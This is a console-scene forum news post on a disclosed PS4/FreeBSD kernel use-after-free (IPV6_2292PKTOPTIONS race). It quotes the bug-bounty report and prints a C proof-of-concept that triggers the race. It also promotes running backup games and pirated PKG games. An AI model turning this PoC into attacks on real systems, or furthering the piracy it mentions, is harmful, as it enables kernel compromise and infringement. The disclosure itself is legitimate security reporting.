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As promised last month, PlayStation 4 scene developer theflow0 just dropped the PS4 Kernel Exploit (KEX) for Firmware 7.02 and below which was patched by Sony in 7.50 PS4 OFW (Current OFW is 7.51) and can be chained together with a WebKit exploit like the previously released userland PS4 6.XX WebKit Exploit by Fire30_ that works up to 6.72 PS4 Firmware according to theflow0 with Mira support for 6.72 added as well! 😻
:alert: This means although today's PS4 kernel exploit works up to Firmware 7.02 there is currently only a PS4 userland exploit up to 6.72 publicly available!

Scene Dev @Al Azif suggests on Twitter that nobody should update until the full PS4 jailbreak is released, but for those who can't wait it's advisable NOT to update past 6.72 per @DEFAULTDNB on Twitter until a WebKit exploit supporting 7.02 surfaces!
:alert:

He sends thanks out to diwidog, flat_z, SpecterDev and PlayStation for the collaboration and while not all PlayStation scene developers may be on the same page with how it was handled through Sony's PlayStation Bug Bounty Program, to others it's a win-win as theflow0 received a cash bounty of $10k for his report and the PS4 scene reaped the benefit of having it publicly disclosed today for those who haven't updated to enjoy as a full jailbreak arrives! 💞

Those who'd like to show their appreciation and donate to theflow0 can do so the following ways:
  • via bitcoin 361jRJtjppd2iyaAhBGjf9GUCWnunxtZ49
  • via PayPal
  • via Patreon
To quote from the report via HackerOne.com: Use-After-Free In IPV6_2292PKTOPTIONS leading To Arbitrary Kernel R/W Primitives

Summary


Due to missing locks in option IPV6_2292PKTOPTIONS of setsockopt , it is possible to race and free the struct ip6_pktopts buffer, while it is being handled by ip6_setpktopt. This structure contains pointers (ip6po_pktinfo) that can be hijacked to obtain arbitrary kernel R/W primitives.

As a consequence, it is easy to have kernel code execution. This vulnerability is reachable from WebKit sandbox and is available in the latest FW, that is 7.02.

Attachment

Attached is a Proof-Of-Concept that achieves a Local Privilege Escalation on FreeBSD 9 and FreeBSD 12.
Impact
  • In conjunction with a WebKit exploit, a fully chained remote attack can be achieved.
  • It is possible to steal/manipulate user data.
  • Dump and run backup games.
Code:
/*
* Race condition in ip6_ctloutput where in6p is not locked when calling
* ip6_pcbopts, which allows for a use after free on in6p->in6p_outputopts
*
* Build: gcc -std=c99 -o poc poc.c -lpthread
* Run: ./poc
*
* Discovered by TJ Corley 8/15/2018
*/

#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>

#define IPV6_2292PKTOPTIONS 25

int s;

static void spam_valid() {
    char ctrl[CMSG_SPACE(sizeof(int))];

    struct cmsghdr *cmsg = (struct cmsghdr *)&ctrl;
    cmsg->cmsg_len = CMSG_LEN(4);
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_TCLASS;

    char *data = (char *)CMSG_DATA(cmsg);
    *(int *)data = 0x4;

    printf("spamming valid IPV6_2292PKTOPTIONS\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, cmsg, CMSG_LEN(4));
    }
}

static void spam_zero_size_mbuf() {
    char *buf[0x4] = {};
    printf("spamming zero size mbuf\n");
    for (;;) {
        setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, 0);
    }
}

int main() {
    pthread_t t;
    s = socket(AF_INET6, SOCK_DGRAM, 0);
    pthread_create(&t, NULL, (void *)spam_valid, NULL);
    spam_zero_size_mbuf();
}
Download: PS4UPDATE.pup (995.5 MB - PS4 6.72 Recovery PUP - MD5: 8140fdd70c1061c379f08566be022ecb) / Mirror / Mirror #2 / Mirror #3 / Mirror #4 via EuropaPeixe
Download: PS4UPDATE.pup (442.4 MB - PS4 6.72 Update PUP - MD5: f3a31f64d894dc06040498cd7383bec2) / Mirror / Mirror #2 / Mirror #3 / Mirror #4 via EuropaPeixe
Cheers to @jwooh for the heads-up on the exploit news, and with Discord help for PSXHAX Member Verifications to access the private area for the latest PS4 PKG games! 🍻
PS4 Kernel Exploit (KEX) for 7.02 Firmware, Wait for Jailbreak Before Updating!.png
 

Comments

Finally, after waiting for years. All we need to do now is wait a little bit more for the WebKit Exploit for the 7.02. What is days or even weeks of waiting for it compared to years waiting for kexploit. I'm hype for the scene.
 
Please be aware due to the COVID19 causing the worldwide shortages of PS4s it doesn't fare-well for newly made PS4s being 7.02 or lower.

Also thefow0 providing the exploit directly to Sony means Sony would want these newly made PS4s patched at production line.
 
@cerci
@UltraLex
No backup is required.
You will not lose anything in the update process, unless you have a problem.
Use the normal update, not the recovery, unless you change the HD.
I say this because I upgraded from jailbreak 4.05 to 4.55 and am on 5.05, without ever having missed anything.
 
You know, for kicks I just turned on one of my ps4's after about 6 months of no use. I have 2 external hard drives that I am pretty darn sure I filled up. A 1tb and a 2tb. All games are gone and the storage info shows the drives as empty. I have the pkg's on backup drives but it's a pain in the ass. GOW3 is the only one installed. I have no clue. Power surge?
 
Tested with the ps4 before jailbreaking or after? If before test after and see if anything changes.

Try in all PS4 USB ports.

Do other people have access to both the PS4 and hdds? Could they have deleted them?

Power surge slim to no chance of affecting only external hdd games but not damage the console internals.

My new CUH-7202 PS4 Pro came with 7.50. Did not have a Date code Listed anywhere.
 
Amazing! I already have 5.05 exploit ps4, is that mean i should upgrade my console to newer firmware or i can stay on 5.05? Thank you
 
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